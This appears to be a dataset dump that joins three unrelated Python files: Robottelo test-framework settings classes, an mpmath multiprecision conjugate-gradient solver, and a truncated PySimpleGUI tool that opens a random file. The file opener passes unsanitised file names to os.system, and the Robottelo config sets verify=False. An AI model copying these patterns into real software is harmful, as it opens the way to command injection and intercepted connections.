validation_errors\n\n\nclass LDAPSettings(FeatureSettings):\n \"\"\"LDAP settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(LDAPSettings, self).__init__(*args, **kwargs)\n self.basedn = None\n self.grpbasedn = None\n self.hostname = None\n self.password = None\n self.username = None\n\n def read(self, reader):\n \"\"\"Read LDAP settings.\"\"\"\n self.basedn = reader.get('ldap', 'basedn')\n self.grpbasedn = reader.get('ldap', 'grpbasedn')\n self.hostname = reader.get('ldap', 'hostname')\n self.password = reader.get('ldap', 'password')\n self.username = reader.get('ldap', 'username')\n\n def validate(self):\n \"\"\"Validate LDAP settings.\"\"\"\n validation_errors = []\n if not all(vars(self).values()):\n validation_errors.append(\n 'All [ldap] basedn, grpbasedn, hostname, password, '\n 'username options must be provided.'\n )\n return validation_errors\n\n\nclass LDAPIPASettings(FeatureSettings):\n \"\"\"LDAP freeIPA settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(LDAPIPASettings, self).__init__(*args, **kwargs)\n self.basedn_ipa = None\n self.grpbasedn_ipa = None\n self.hostname_ipa = None\n self.password_ipa = None\n self.username_ipa = None\n\n def read(self, reader):\n \"\"\"Read LDAP freeIPA settings.\"\"\"\n self.basedn_ipa = reader.get('ipa', 'basedn_ipa')\n self.grpbasedn_ipa = reader.get('ipa', 'grpbasedn_ipa')\n self.hostname_ipa = reader.get('ipa', 'hostname_ipa')\n self.password_ipa = reader.get('ipa', 'password_ipa')\n self.username_ipa = reader.get('ipa', 'username_ipa')\n\n def validate(self):\n \"\"\"Validate LDAP freeIPA settings.\"\"\"\n validation_errors = []\n if not all(vars(self).values()):\n validation_errors.append(\n 'All [ipa] basedn_ipa, grpbasedn_ipa, hostname_ipa,'\n ' password_ipa, username_ipa options must be provided.'\n )\n return validation_errors\n\n\nclass LibvirtHostSettings(FeatureSettings):\n \"\"\"Libvirt host settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(LibvirtHostSettings, self).__init__(*args, **kwargs)\n self.libvirt_image_dir = None\n self.libvirt_hostname = None\n\n def read(self, reader):\n \"\"\"Read libvirt host settings.\"\"\"\n self.libvirt_image_dir = reader.get(\n 'compute_resources', 'libvirt_image_dir', '/var/lib/libvirt/images'\n )\n self.libvirt_hostname = reader.get(\n 'compute_resources', 'libvirt_hostname')\n\n def validate(self):\n \"\"\"Validate libvirt host settings.\"\"\"\n validation_errors = []\n if self.libvirt_hostname is None:\n validation_errors.append(\n '[compute_resources] libvirt_hostname option must be provided.'\n )\n return validation_errors\n\n\nclass FakeCapsuleSettings(FeatureSettings):\n \"\"\"Fake Capsule settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(FakeCapsuleSettings, self).__init__(*args, **kwargs)\n self.port_range = None\n\n def read(self, reader):\n \"\"\"Read fake capsule settings\"\"\"\n self.port_range = reader.get(\n 'fake_capsules', 'port_range', cast=tuple\n )\n\n def validate(self):\n \"\"\"Validate fake capsule settings.\"\"\"\n validation_errors = []\n if self.port_range is None:\n validation_errors.append(\n '[fake_capsules] port_range option must be provided.'\n )\n return validation_errors\n\n\nclass RHEVSettings(FeatureSettings):\n \"\"\"RHEV settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(RHEVSettings, self).__init__(*args, **kwargs)\n # Compute Resource Information\n self.hostname = None\n self.username = None\n self.password = None\n self.datacenter = None\n self.vm_name = None\n self.storage_domain = None\n # Image Information\n self.image_os = None\n self.image_arch = None\n self.image_username = None\n self.image_password = None\n self.image_name = None\n self.ca_cert = None\n\n def read(self, reader):\n \"\"\"Read rhev settings.\"\"\"\n # Compute Resource Information\n self.hostname = reader.get('rhev', 'hostname')\n self.username = reader.get('rhev', 'username')\n self.password = reader.get('rhev', 'password')\n self.datacenter = reader.get('rhev', 'datacenter')\n self.vm_name = reader.get('rhev', 'vm_name')\n self.storage_domain = reader.get('rhev', 'storage_domain')\n # Image Information\n self.image_os = reader.get('rhev', 'image_os')\n self.image_arch = reader.get('rhev', 'image_arch')\n self.image_username = reader.get('rhev', 'image_username')\n self.image_password = reader.get('rhev', 'image_password')\n self.image_name = reader.get('rhev', 'image_name')\n self.ca_cert = reader.get('rhev', 'ca_cert', None)\n\n def validate(self):\n \"\"\"Validate rhev settings.\"\"\"\n validation_errors = []\n values = [v for k, v in vars(self).items() if k != 'ca_cert']\n if not all(values):\n validation_errors.append(\n 'All [rhev] hostname, username, password, datacenter, '\n 'vm_name, image_name, image_os, image_arch, image_username, '\n 'image_name options must be provided.'\n )\n return validation_errors\n\n\nclass VmWareSettings(FeatureSettings):\n \"\"\"VmWare settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(VmWareSettings, self).__init__(*args, **kwargs)\n # Compute Resource Information\n self.vcenter = None\n self.username = None\n self.password = None\n self.datacenter = None\n self.vm_name = None\n # Image Information\n self.image_os = None\n self.image_arch = None\n self.image_username = None\n self.image_password = None\n self.image_name = None\n\n def read(self, reader):\n \"\"\"Read vmware settings.\"\"\"\n # Compute Resource Information\n self.vcenter = reader.get('vmware', 'vcenter')\n self.username = reader.get('vmware', 'username')\n self.password = reader.get('vmware', 'password')\n self.datacenter = reader.get('vmware', 'datacenter')\n self.vm_name = reader.get('vmware', 'vm_name')\n # Image Information\n self.image_os = reader.get('vmware', 'image_os')\n self.image_arch = reader.get('vmware', 'image_arch')\n self.image_username = reader.get('vmware', 'image_username')\n self.image_password = reader.get('vmware', 'image_password')\n self.image_name = reader.get('vmware', 'image_name')\n\n def validate(self):\n \"\"\"Validate vmware settings.\"\"\"\n validation_errors = []\n if not all(vars(self).values()):\n validation_errors.append(\n 'All [vmware] vcenter, username, password, datacenter, '\n 'vm_name, image_name, image_os, image_arch, image_usernam, '\n 'image_name options must be provided.'\n )\n return validation_errors\n\n\nclass DiscoveryISOSettings(FeatureSettings):\n \"\"\"Discovery ISO name settings definition.\"\"\"\n def __init__(self, *args, **kwargs):\n super(DiscoveryISOSettings, self).__init__(*args, **kwargs)\n self.discovery_iso = None\n\n def read(self, reader):\n \"\"\"Read discovery iso setting.\"\"\"\n self.discovery_iso = reader.get('discovery', 'discovery_iso')\n\n def validate(self):\n \"\"\"Validate discovery iso name setting.\"\"\"\n validation_errors = []\n if self.discovery_iso is None:\n validation_errors.append(\n '[discovery] discovery iso name must be provided.'\n )\n return validation_errors\n\n\nclass OscapSettings(FeatureSettings):\n \"\"\"Oscap settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(OscapSettings, self).__init__(*args, **kwargs)\n self.content_path = None\n self.tailoring_path = None\n\n def read(self, reader):\n \"\"\"Read Oscap settings.\"\"\"\n self.content_path = reader.get('oscap', 'content_path')\n self.tailoring_path = reader.get('oscap', 'tailoring_path')\n\n def validate(self):\n \"\"\"Validate Oscap settings.\"\"\"\n validation_errors = []\n if self.content_path is None:\n validation_errors.append(\n '[oscap] content_path option must be provided.'\n )\n if self.tailoring_path is None:\n validation_errors.append(\n '[oscap] tailoring_path option must be provided.'\n )\n return validation_errors\n\n\nclass OSPSettings(FeatureSettings):\n \"\"\"OSP settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(OSPSettings, self).__init__(*args, **kwargs)\n # Compute Resource Information\n self.hostname = None\n self.username = None\n self.password = None\n self.tenant = None\n self.vm_name = None\n self.security_group = None\n # Image Information\n self.image_os = None\n self.image_arch = None\n self.image_username = None\n self.image_name = None\n\n def read(self, reader):\n \"\"\"Read osp settings.\"\"\"\n # Compute Resource Information\n self.hostname = reader.get('osp', 'hostname')\n self.username = reader.get('osp', 'username')\n self.password = reader.get('osp', 'password')\n self.tenant = reader.get('osp', 'tenant')\n self.security_group = reader.get('osp', 'security_group')\n self.vm_name = reader.get('osp', 'vm_name')\n # Image Information\n self.image_os = reader.get('osp', 'image_os')\n self.image_arch = reader.get('osp', 'image_arch')\n self.image_username = reader.get('osp', 'image_username')\n self.image_name = reader.get('osp', 'image_name')\n\n def validate(self):\n \"\"\"Validate osp settings.\"\"\"\n validation_errors = []\n if not all(vars(self).values()):\n validation_errors.append(\n 'All [osp] hostname, username, password, tenant, '\n 'vm_name, image_name, image_os, image_arch, image_username, '\n 'image_name options must be provided.'\n )\n return validation_errors\n\n\nclass OstreeSettings(FeatureSettings):\n \"\"\"Ostree settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(OstreeSettings, self).__init__(*args, **kwargs)\n self.ostree_installer = None\n\n def read(self, reader):\n \"\"\"Read Ostree settings.\"\"\"\n self.ostree_installer = reader.get('ostree', 'ostree_installer')\n\n def validate(self):\n \"\"\"Validate Ostree settings.\"\"\"\n validation_errors = []\n if self.ostree_installer is None:\n validation_errors.append(\n '[ostree] ostree_installer option must be provided.'\n )\n return validation_errors\n\n\nclass PerformanceSettings(FeatureSettings):\n \"\"\"Performance settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(PerformanceSettings, self).__init__(*args, **kwargs)\n self.time_hammer = None\n self.cdn_address = None\n self.virtual_machines = None\n self.fresh_install_savepoint = None\n self.enabled_repos_savepoint = None\n self.csv_buckets_count = None\n self.sync_count = None\n self.sync_type = None\n self.repos = None\n\n def read(self, reader):\n \"\"\"Read performance settings.\"\"\"\n self.time_hammer = reader.get(\n 'performance', 'time_hammer', False, bool)\n self.cdn_address = reader.get(\n 'performance', 'cdn_address')\n self.virtual_machines = reader.get(\n 'performance', 'virtual_machines', cast=list)\n self.fresh_install_savepoint = reader.get(\n 'performance', 'fresh_install_savepoint')\n self.enabled_repos_savepoint = reader.get(\n 'performance', 'enabled_repos_savepoint')\n self.csv_buckets_count = reader.get(\n 'performance', 'csv_buckets_count', 10, int)\n self.sync_count = reader.get(\n 'performance', 'sync_count', 3, int)\n self.sync_type = reader.get(\n 'performance', 'sync_type', 'sync')\n self.repos = reader.get(\n 'performance', 'repos', cast=list)\n\n def validate(self):\n \"\"\"Validate performance settings.\"\"\"\n validation_errors = []\n if self.cdn_address is None:\n validation_errors.append(\n '[performance] cdn_address must be provided.')\n if self.virtual_machines is None:\n validation_errors.append(\n '[performance] virtual_machines must be provided.')\n if self.fresh_install_savepoint is None:\n validation_errors.append(\n '[performance] fresh_install_savepoint must be provided.')\n if self.enabled_repos_savepoint is None:\n validation_errors.append(\n '[performance] enabled_repos_savepoint must be provided.')\n return validation_errors\n\n\nclass RHAISettings(FeatureSettings):\n \"\"\"RHAI settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(RHAISettings, self).__init__(*args, **kwargs)\n self.insights_client_el6repo = None\n self.insights_client_el7repo = None\n\n def read(self, reader):\n \"\"\"Read RHAI settings.\"\"\"\n self.insights_client_el6repo = reader.get(\n 'rhai', 'insights_client_el6repo')\n self.insights_client_el7repo = reader.get(\n 'rhai', 'insights_client_el7repo')\n\n def validate(self):\n \"\"\"Validate RHAI settings.\"\"\"\n return []\n\n\nclass SSHClientSettings(FeatureSettings):\n \"\"\"SSHClient settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(SSHClientSettings, self).__init__(*args, **kwargs)\n self._command_timeout = None\n self._connection_timeout = None\n\n @property\n def command_timeout(self):\n return self._command_timeout if (\n self._command_timeout is not None) else 300\n\n @property\n def connection_timeout(self):\n return self._connection_timeout if (\n self._connection_timeout is not None) else 10\n\n def read(self, reader):\n \"\"\"Read SSHClient settings.\"\"\"\n self._command_timeout = reader.get(\n 'ssh_client', 'command_timeout', default=300, cast=int)\n self._connection_timeout = reader.get(\n 'ssh_client', 'connection_timeout', default=10, cast=int)\n\n def validate(self):\n \"\"\"Validate SSHClient settings.\"\"\"\n return []\n\n\nclass TransitionSettings(FeatureSettings):\n \"\"\"Transition settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(TransitionSettings, self).__init__(*args, **kwargs)\n self.exported_data = None\n\n def read(self, reader):\n \"\"\"Read transition settings.\"\"\"\n self.exported_data = reader.get('transition', 'exported_data')\n\n def validate(self):\n \"\"\"Validate transition settings.\"\"\"\n validation_errors = []\n if self.exported_data is None:\n validation_errors.append(\n '[transition] exported_data must be provided.')\n return validation_errors\n\n\nclass VlanNetworkSettings(FeatureSettings):\n \"\"\"Vlan Network settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(VlanNetworkSettings, self).__init__(*args, **kwargs)\n self.subnet = None\n self.netmask = None\n self.gateway = None\n self.bridge = None\n\n def read(self, reader):\n \"\"\"Read Vlan Network settings.\"\"\"\n self.subnet = reader.get('vlan_networking', 'subnet')\n self.netmask = reader.get('vlan_networking', 'netmask')\n self.gateway = reader.get('vlan_networking', 'gateway')\n self.bridge = reader.get('vlan_networking', 'bridge')\n\n def validate(self):\n \"\"\"Validate Vlan Network settings.\"\"\"\n validation_errors = []\n if not all(vars(self).values()):\n validation_errors.append(\n 'All [vlan_networking] subnet, netmask, gateway, bridge '\n 'options must be provided.')\n return validation_errors\n\n\nclass UpgradeSettings(FeatureSettings):\n \"\"\"Satellite upgrade settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(UpgradeSettings, self).__init__(*args, **kwargs)\n self.upgrade_data = None\n\n def read(self, reader):\n \"\"\"Read and validate Satellite server settings.\"\"\"\n self.upgrade_data = reader.get('upgrade', 'upgrade_data')\n\n def validate(self):\n validation_errors = []\n if self.upgrade_data is None:\n validation_errors.append('[upgrade] data must be provided.')\n return validation_errors\n\n\nclass SharedFunctionSettings(FeatureSettings):\n \"\"\"Shared function settings definitions.\"\"\"\n\n MAX_SHARE_TIMEOUT = 86400\n\n def __init__(self, *args, **kwargs):\n super(SharedFunctionSettings, self).__init__(*args, **kwargs)\n self.storage = None\n self.scope = None\n self.enabled = None\n self.lock_timeout = None\n self.share_timeout = None\n self.redis_host = None\n self.redis_port = None\n self.redis_db = None\n self.redis_password = None\n self.call_retries = None\n\n def read(self, reader):\n \"\"\"Read shared settings.\"\"\"\n self.storage = reader.get('shared_function', 'storage', 'file')\n self.scope = reader.get('shared_function', 'scope', None)\n self.enabled = reader.get(\n 'shared_function', 'enabled', False, bool)\n self.lock_timeout = reader.get(\n 'shared_function', 'lock_timeout', 7200, int)\n self.share_timeout = reader.get(\n 'shared_function', 'share_timeout', self.MAX_SHARE_TIMEOUT, int)\n self.redis_host = reader.get(\n 'shared_function', 'redis_host', 'localhost')\n self.redis_port = reader.get(\n 'shared_function', 'redis_port', 6379, int)\n self.redis_db = reader.get(\n 'shared_function', 'redis_db', 0, int)\n self.redis_password = reader.get(\n 'shared_function', 'redis_password', None)\n self.call_retries = reader.get(\n 'shared_function', 'call_retries', 2, int)\n\n def validate(self):\n \"\"\"Validate the shared settings\"\"\"\n validation_errors = []\n supported_storage_handlers = ['file', 'redis']\n if self.storage not in supported_storage_handlers:\n validation_errors.append(\n '[shared] storage must be one of {}'\n .format(supported_storage_handlers)\n )\n if self.storage == 'redis':\n try:\n importlib.import_module('redis')\n except ImportError:\n validation_errors.append(\n '[shared] python redis package not installed')\n if self.share_timeout is None:\n self.share_timeout = self.MAX_SHARE_TIMEOUT\n if self.share_timeout > self.MAX_SHARE_TIMEOUT:\n validation_errors.append(\n '[shared] share time out cannot be more than 86400'\n ' seconds (24 hours)'\n )\n\n return validation_errors\n\n\nclass Settings(object):\n \"\"\"Robottelo's settings representation.\"\"\"\n\n def __init__(self):\n self._all_features = None\n self._configured = False\n self._validation_errors = []\n self.browser = None\n self.cdn = None\n self.locale = None\n self.project = None\n self.reader = None\n self.rhel6_repo = None\n self.rhel7_repo = None\n self.rhel6_os = None\n self.rhel7_os = None\n self.capsule_repo = None\n self.rhscl_repo = None\n self.ansible_repo = None\n self.sattools_repo = None\n self.satmaintenance_repo = None\n self.screenshots_path = None\n self.tmp_dir = None\n self.saucelabs_key = None\n self.saucelabs_user = None\n self.server = ServerSettings()\n self.run_one_datapoint = None\n self.upstream = None\n self.verbosity = None\n self.webdriver = None\n self.webdriver_binary = None\n self.webdriver_desired_capabilities = None\n self.command_executor = None\n\n self.bugzilla = BugzillaSettings()\n # Features\n self.capsule = CapsuleSettings()\n self.certs = CertsSettings()\n self.clients = ClientsSettings()\n self.compute_resources = LibvirtHostSettings()\n self.discovery = DiscoveryISOSettings()\n self.distro = DistroSettings()\n self.docker = DockerSettings()\n self.ec2 = EC2Settings()\n self.fake_capsules = FakeCapsuleSettings()\n self.fake_manifest = FakeManifestSettings()\n self.ldap = LDAPSettings()\n self.ipa = LDAPIPASettings()\n self.oscap = OscapSettings()\n self.ostree = OstreeSettings()\n self.osp = OSPSettings()\n self.performance = PerformanceSettings()\n self.rhai = RHAISettings()\n self.rhev = RHEVSettings()\n self.ssh_client = SSHClientSettings()\n self.shared_function = SharedFunctionSettings()\n self.transition = TransitionSettings()\n self.vlan_networking = VlanNetworkSettings()\n self.upgrade = UpgradeSettings()\n self.vmware = VmWareSettings()\n\n def configure(self):\n \"\"\"Read the settings file and parse the configuration.\n\n :raises: ImproperlyConfigured if any issue is found during the parsing\n or validation of the configuration.\n \"\"\"\n if self.configured:\n # TODO: what to do here, raise and exception, just skip or ...?\n return\n\n # Expect the settings file to be on the robottelo project root.\n settings_path = os.path.join(get_project_root(), SETTINGS_FILE_NAME)\n if not os.path.isfile(settings_path):\n raise ImproperlyConfigured(\n 'Not able to find settings file at {}'.format(settings_path))\n\n self.reader = INIReader(settings_path)\n self._read_robottelo_settings()\n self._validation_errors.extend(\n self._validate_robottelo_settings())\n\n attrs = map(\n lambda attr_name: (attr_name, getattr(self, attr_name)),\n dir(self)\n )\n feature_settings = filter(\n lambda tpl: isinstance(tpl[1], FeatureSettings),\n attrs\n )\n for name, settings in feature_settings:\n if self.reader.has_section(name) or name == 'server':\n settings.read(self.reader)\n self._validation_errors.extend(settings.validate())\n\n if self._validation_errors:\n raise ImproperlyConfigured(\n 'Failed to validate the configuration, check the message(s):\\n'\n '{}'.format('\\n'.join(self._validation_errors))\n )\n\n self._configure_logging()\n self._configure_third_party_logging()\n self._configure_entities()\n self._configure_airgun()\n self._configured = True\n\n def _read_robottelo_settings(self):\n \"\"\"Read Robottelo's general settings.\"\"\"\n self.log_driver_commands = self.reader.get(\n 'robottelo',\n 'log_driver_commands',\n ['newSession',\n 'windowMaximize',\n 'get',\n 'findElement',\n 'sendKeysToElement',\n 'clickElement',\n 'mouseMoveTo'],\n list\n )\n self.browser = self.reader.get(\n 'robottelo', 'browser', 'selenium')\n self.cdn = self.reader.get('robottelo', 'cdn', True, bool)\n self.locale = self.reader.get('robottelo', 'locale', 'en_US.UTF-8')\n self.project = self.reader.get('robottelo', 'project', 'sat')\n self.rhel6_repo = self.reader.get('robottelo', 'rhel6_repo', None)\n self.rhel7_repo = self.reader.get('robottelo', 'rhel7_repo', None)\n self.rhel6_os = self.reader.get('robottelo', 'rhel6_os', None)\n self.rhel7_os = self.reader.get('robottelo', 'rhel7_os', None)\n self.capsule_repo = self.reader.get('robottelo', 'capsule_repo', None)\n self.rhscl_repo = self.reader.get('robottelo', 'rhscl_repo', None)\n self.ansible_repo = self.reader.get('robottelo', 'ansible_repo', None)\n self.sattools_repo = self.reader.get(\n 'robottelo', 'sattools_repo', None, dict)\n self.satmaintenance_repo = self.reader.get(\n 'robottelo', 'satmaintenance_repo', None)\n self.screenshots_path = self.reader.get(\n 'robottelo', 'screenshots_path', '/tmp/robottelo/screenshots')\n self.tmp_dir = self.reader.get('robottelo', 'tmp_dir', '/var/tmp')\n self.run_one_datapoint = self.reader.get(\n 'robottelo', 'run_one_datapoint', False, bool)\n self.cleanup = self.reader.get('robottelo', 'cleanup', False, bool)\n self.upstream = self.reader.get('robottelo', 'upstream', True, bool)\n self.verbosity = self.reader.get(\n 'robottelo',\n 'verbosity',\n INIReader.cast_logging_level('debug'),\n INIReader.cast_logging_level\n )\n self.webdriver = self.reader.get(\n 'robottelo', 'webdriver', 'chrome')\n self.saucelabs_user = self.reader.get(\n 'robottelo', 'saucelabs_user', None)\n self.saucelabs_key = self.reader.get(\n 'robottelo', 'saucelabs_key', None)\n self.webdriver_binary = self.reader.get(\n 'robottelo', 'webdriver_binary', None)\n self.webdriver_desired_capabilities = self.reader.get(\n 'robottelo',\n 'webdriver_desired_capabilities',\n None,\n cast=INIReader.cast_webdriver_desired_capabilities\n )\n self.command_executor = self.reader.get(\n 'robottelo', 'command_executor', 'http://127.0.0.1:4444/wd/hub')\n self.window_manager_command = self.reader.get(\n 'robottelo', 'window_manager_command', None)\n\n def _validate_robottelo_settings(self):\n \"\"\"Validate Robottelo's general settings.\"\"\"\n validation_errors = []\n browsers = ('selenium', 'docker', 'saucelabs')\n webdrivers = ('chrome', 'edge', 'firefox', 'ie', 'phantomjs', 'remote')\n if self.browser not in browsers:\n validation_errors.append(\n '[robottelo] browser should be one of {0}.'\n .format(', '.join(browsers))\n )\n if self.webdriver not in webdrivers:\n validation_errors.append(\n '[robottelo] webdriver should be one of {0}.'\n .format(', '.join(webdrivers))\n )\n if self.browser == 'saucelabs':\n if self.saucelabs_user is None:\n validation_errors.append(\n '[robottelo] saucelabs_user must be provided when '\n 'browser is saucelabs.'\n )\n if self.saucelabs_key is None:\n validation_errors.append(\n '[robottelo] saucelabs_key must be provided when '\n 'browser is saucelabs.'\n )\n return validation_errors\n\n @property\n def configured(self):\n \"\"\"Returns True if the settings have already been configured.\"\"\"\n return self._configured\n\n @property\n def all_features(self):\n \"\"\"List all expected feature settings sections.\"\"\"\n if self._all_features is None:\n self._all_features = [\n name for name, value in vars(self).items()\n if isinstance(value, FeatureSettings)\n ]\n return self._all_features\n\n def _configure_entities(self):\n \"\"\"Configure NailGun's entity classes.\n\n Do the following:\n\n * Set ``entity_mixins.CREATE_MISSING`` to ``True``. This causes method\n ``EntityCreateMixin.create_raw`` to generate values for empty and\n required fields.\n * Set ``nailgun.entity_mixins.DEFAULT_SERVER_CONFIG`` to whatever is\n returned by :meth:`robottelo.helpers.get_nailgun_config`. See\n ``robottelo.entity_mixins.Entity`` for more information on the effects\n of this.\n * Set a default value for ``nailgun.entities.GPGKey.content``.\n * Set the default value for\n ``nailgun.entities.DockerComputeResource.url``\n if either ``docker.internal_url`` or ``docker.external_url`` is set in\n the configuration file.\n \"\"\"\n entity_mixins.CREATE_MISSING = True\n entity_mixins.DEFAULT_SERVER_CONFIG = ServerConfig(\n self.server.get_url(),\n self.server.get_credentials(),\n verify=False,\n )\n\n gpgkey_init = entities.GPGKey.__init__\n\n def patched_gpgkey_init(self, server_config=None, **kwargs):\n \"\"\"Set a default value on the ``content`` field.\"\"\"\n gpgkey_init(self, server_config, **kwargs)\n self._fields['content'].default = os.path.join(\n get_project_root(),\n 'tests', 'foreman', 'data', 'valid_gpg_key.txt'\n )\n entities.GPGKey.__init__ = patched_gpgkey_init\n\n # NailGun provides a default value for ComputeResource.url. We override\n # that value if `docker.internal_url` or `docker.external_url` is set.\n docker_url = None\n # Try getting internal url\n docker_url = self.docker.get_unix_socket_url()\n # Try getting external url\n if docker_url is None:\n docker_url = self.docker.external_url\n if docker_url is not None:\n dockercr_init = entities.DockerComputeResource.__init__\n\n def patched_dockercr_init(self, server_config=None, **kwargs):\n \"\"\"Set a default value on the ``docker_url`` field.\"\"\"\n dockercr_init(self, server_config, **kwargs)\n self._fields['url'].default = docker_url\n entities.DockerComputeResource.__init__ = patched_dockercr_init\n\n def _configure_airgun(self):\n \"\"\"Pass required settings to AirGun\"\"\"\n airgun.settings.configure({\n 'airgun': {\n 'verbosity': logging.getLevelName(self.verbosity),\n 'tmp_dir': self.tmp_dir,\n },\n 'satellite': {\n 'hostname': self.server.hostname,\n 'password': self.server.admin_password,\n 'username': self.server.admin_username,\n },\n 'selenium': {\n 'browser': self.browser,\n 'saucelabs_key': self.saucelabs_key,\n 'saucelabs_user': self.saucelabs_user,\n 'screenshots_path': self.screenshots_path,\n 'webdriver': self.webdriver,\n 'webdriver_binary': self.webdriver_binary,\n },\n 'webdriver_desired_capabilities': (\n self.webdriver_desired_capabilities or {}),\n })\n\n def _configure_logging(self):\n \"\"\"Configure logging for the entire framework.\n\n If a config named ``logging.conf`` exists in Robottelo's root\n directory, the logger is configured using the options in that file.\n Otherwise, a custom logging output format is set, and default values\n are used for all other logging options.\n \"\"\"\n # All output should be made by the logging module, including warnings\n logging.captureWarnings(True)\n\n # Set the logging level based on the Robottelo's verbosity\n for name in ('nailgun', 'robottelo'):\n logging.getLogger(name).setLevel(self.verbosity)\n\n # Allow overriding logging config based on the presence of logging.conf\n # file on Robottelo's project root\n logging_conf_path = os.path.join(get_project_root(), 'logging.conf')\n if os.path.isfile(logging_conf_path):\n logging.config.fileConfig(logging_conf_path)\n else:\n logging.basicConfig(\n format='%(levelname)s %(module)s:%(lineno)d: %(message)s'\n )\n\n def _configure_third_party_logging(self):\n \"\"\"Increase the level of third party packages logging.\"\"\"\n loggers = (\n 'bugzilla',\n 'easyprocess',\n 'paramiko',\n 'requests.packages.urllib3.connectionpool',\n 'selenium.webdriver.remote.remote_connection',\n )\n for logger in loggers:\n logging.getLogger(logger).setLevel(logging.WARNING)\n","repo_name":"sghai/robottelo","sub_path":"robottelo/config/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":50086,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"} +{"seq_id":"70728847734","text":"# cg_mpmath.py : 多倍長精度Conjugate-Gradient法\r\nimport numpy as np\r\nimport mpmath # 多倍長精度計算\r\nimport mpmath.libmp # 可能ならばgmpy2を使用\r\n# 時間計測\r\nimport time\r\n\r\n# 計算精度初期設定\r\nmpmath.mp.dps = 30\r\ninput_dps = input('10進精度桁数 dps = ')\r\nif int(input_dps) > mpmath.mp.dps:\r\n mpmath.mp.dps = int(input_dps)\r\nprint('10進精度桁数 = ', mpmath.mp.dps)\r\n\r\n\r\n# CG法(mpmath版)\r\ndef cg(vec_x, mat_a, vec_b, rtol, atol, max_times):\r\n dim = vec_x.rows\r\n r = vec_b - mat_a * vec_x\r\n p = r\r\n init_norm_r = mpmath.norm(r)\r\n old_norm_r = init_norm_r\r\n # メインループ\r\n for times in range(max_times):\r\n ap = mat_a * p\r\n alpha = (r.T * p)[0] / (p.T * ap)[0]\r\n vec_x = vec_x + alpha * p\r\n r = r - alpha * ap\r\n new_norm_r = mpmath.norm(r)\r\n beta = new_norm_r * new_norm_r / (old_norm_r * old_norm_r)\r\n # 収束判定\r\n print(times, mpmath.nstr(new_norm_r / init_norm_r))\r\n if(new_norm_r <= (rtol * init_norm_r + atol)):\r\n break\r\n\r\n p = r + beta * p\r\n old_norm_r = new_norm_r\r\n\r\n return times, vec_x\r\n\r\n\r\n# 行列サイズ\r\nstr_dim = input('正方行列サイズ dim = ')\r\ndim = int(str_dim) # 文字列→整数\r\n\r\n# (1)\r\nmat_a = mpmath.zeros(dim, dim)\r\nfor i in range(dim):\r\n for j in range(dim):\r\n mat_a[i, j] = mpmath.mpf(dim - max(i, j))\r\n\r\nmat_a = mat_a.T * mat_a\r\n# print(mat_a)\r\n\r\n# x = [1 2 ... dim]\r\nvec_true_x = mpmath.matrix([i for i in range(1, dim + 1)])\r\n# nprint(vec_true_x)\r\n\r\n# b = A * x\r\nvec_b = mat_a * vec_true_x\r\n\r\n# CG法実行\r\n# vec_x := 0\r\nvec_x = mpmath.zeros(dim, 1)\r\nstart_time1 = time.time()\r\niterative_times, vec_x = cg(vec_x, mat_a, vec_b, 1.0e-20, 0.0, dim * 10)\r\ntime1 = time.time() - start_time1\r\n\r\nrelerr = mpmath.norm(vec_x - vec_true_x) / mpmath.norm(vec_true_x)\r\nprint(\r\n 'CG: iteration, time = ',\r\n iterative_times, time1,\r\n ', relerr(vec_x) = ', relerr\r\n)\r\n\r\n\r\n# -------------------------------------\r\n# Copyright (c) 2021 Tomonori Kouya\r\n# All rights reserved.\r\n# -------------------------------------\r\n","repo_name":"tkouya/inapy","sub_path":"chapter08/cg_mpmath.py","file_name":"cg_mpmath.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"} +{"seq_id":"72831692853","text":"import os\nimport random\nimport PySimpleGUI as sg\n\n# Set Theme\nsg.theme(\"Material1\")\n\n# By default path is set to current working directory\npath = os.getcwd()\n\nlayout = [\n [sg.Text(\"Source Directory\")], \n [sg.Text(\"Path: \"+ path, size=(40,1), key='-OUTPUT-'), sg.Button(\"Browse\")],\n [sg.Checkbox(\"Look in subdirectories?\", key='-OPTION-', default=False, text_color=\"black\")],\n [sg.Button(\"Execute!\"), sg.Button(\"Quit\")]\n]\n\n# Create the window\nwindow = sg.Window(\"Random Executor\", layout)\nwhile True:\n event, values = window.read()\n if event == sg.WINDOW_CLOSED or event == \"Quit\":\n break\n\n if event == \"Browse\":\n path = sg.PopupGetFolder(\"Choose a Directory\")\n if path != None and path != \"\":\n window['-OUTPUT-'].update(\"Path: \" + path)\n\n if event == \"Execute!\":\n file = \"\"\n files = []\n # If the user wants subdirs, else if they don't\n if values['-OPTION-']:\n # Get all files and subdirectories and their files\n folders_and_files = [(names[0], names[2]) for names in os.walk(path)]\n # Append folder path to each filename\n for folder_and_files in folders_and_files:\n folder = folder_and_files[0]\n filenames = folder_and_files[1]\n files += [folder + \"/\" + filename for filename in filenames]\n # Choose a random file\n if len(files) != 0:\n file = files[random.randint(0, len(files)-1)]\n else: \n # Get names of all files that aren't directories\n files = [filename for filename in os.listdir(path) if not os.path.isdir(filename)]\n if len(files) != 0:\n # Choose a random file and append absolute path to it\n file = path + \"/\" + files[random.randint(0, len(files)-1)]\n if os.name == \"posix\":\n # Unix command to open file\n os.system(\"xdg-open \" + file)\n else:\n # Windows command to open file (work in progress)\n os.system(file)\n \n# Finish up by removing from the 